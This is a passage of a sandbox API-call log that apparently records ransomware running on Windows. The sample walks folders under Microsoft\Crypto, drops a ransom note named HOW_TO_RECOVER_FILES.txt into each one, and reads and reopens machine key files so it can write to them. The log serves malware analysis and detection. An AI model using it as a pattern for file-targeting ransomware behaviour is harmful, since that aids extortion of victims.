returned 1 [0131.394] CloseHandle (hObject=0x6e0) returned 1 [0131.395] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.395] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.396] CloseHandle (hObject=0x6e0) returned 1 [0131.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.397] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.397] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\Keys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x41 [0131.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.399] CloseHandle (hObject=0x6e0) returned 1 [0131.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.399] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\PCPKSP\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x43 [0131.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.401] CloseHandle (hObject=0x6e0) returned 1 [0131.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.401] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0131.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9940) returned 1 [0131.403] CloseHandle (hObject=0x6e0) returned 1 [0131.414] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0131.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f63c0) returned 1 [0131.826] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4c [0131.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.826] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\MachineKeys\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\machinekeys\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0131.827] GetFileType (hFile=0x650) returned 0x1 [0131.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.827] GetFileType (hFile=0x650) returned 0x1 [0131.827] WriteFile (in: hFile=0x650, lpBuffer=0x3670fe0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3670fe0*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0131.828] CloseHandle (hObject=0x650) returned 1 [0131.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.829] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x30 [0131.829] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x3daa794e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0131.829] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x3daa794e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.829] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1 [0131.829] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3daa794e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3daa794e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daa794e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0131.829] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.829] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0131.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.829] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0131.829] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x30 [0131.829] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3daa794e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daa794e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0131.830] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x3daa794e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daa794e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.830] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1 [0131.830] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3daa794e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3daa794e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daa794e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0131.830] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3daa794e, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3daa794e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daa794e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0131.830] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0131.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0131.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0131.830] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x76 [0131.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0131.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), fInfoLevelId=0x0, lpFileInformation=0x3680748 | out: lpFileInformation=0x3680748*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38)) returned 1 [0131.830] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0131.830] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10f94b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x76 [0131.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0131.830] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0131.831] GetFileType (hFile=0x650) returned 0x1 [0131.831] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9940) returned 1 [0131.831] GetFileType (hFile=0x650) returned 0x1 [0131.831] GetFileSize (in: hFile=0x650, lpFileSizeHigh=0x10f9b78 | out: lpFileSizeHigh=0x10f9b78*=0x0) returned 0x38 [0131.831] ReadFile (in: hFile=0x650, lpBuffer=0x3680bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9aa8, lpOverlapped=0x0 | out: lpBuffer=0x3680bc8*, lpNumberOfBytesRead=0x10f9aa8*=0x38, lpOverlapped=0x0) returned 1 [0131.831] CloseHandle (hObject=0x650) returned 1 [0131.842] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", nBufferLength=0x105, lpBuffer=0x10f94b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", lpFilePart=0x0) returned 0x76 [0131.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0131.842] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0131.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f63c0) returned 1 [0131.844] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0131.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0131.844] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\S-1-5-18\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\s-1-5-18\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0131.845] GetFileType (hFile=0x650) returned 0x1 [0131.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0131.845] GetFileType (hFile=0x650) returned 0x1 [0131.845] WriteFile (in: hFile=0x650, lpBuffer=0x36fae10*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x36fae10*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0131.846] CloseHandle (hObject=0x650) returned 1 [0131.846] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x40 [0131.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0131.846] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\RSA\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\rsa\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x650 [0131.847] GetFileType (hFile=0x650) returned 0x1 [0131.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0131.847] GetFileType (hFile=0x650) returned 0x1 [0131.847] WriteFile (in: hFile=0x650, lpBuffer=0x36fe668*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x36fe668*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0131.848] CloseHandle (hObject=0x650) returned 1 [0131.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.848] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys", lpFilePart=0x0) returned 0x2e [0131.849] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x3daf3e29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0131.849] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x3daf3e29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.849] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1 [0131.849] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1 [0131.849] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dacde5d, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3dacde5d, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daf3e29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0131.849] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0131.849] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0131.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0131.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0131.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0131.849] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys", lpFilePart=0x0) returned 0x2e [0131.849] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3daf3e29, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daf3e29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0131.850] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x3daf3e29, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3daf3e29, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0131.850] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1 [0131.850] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, 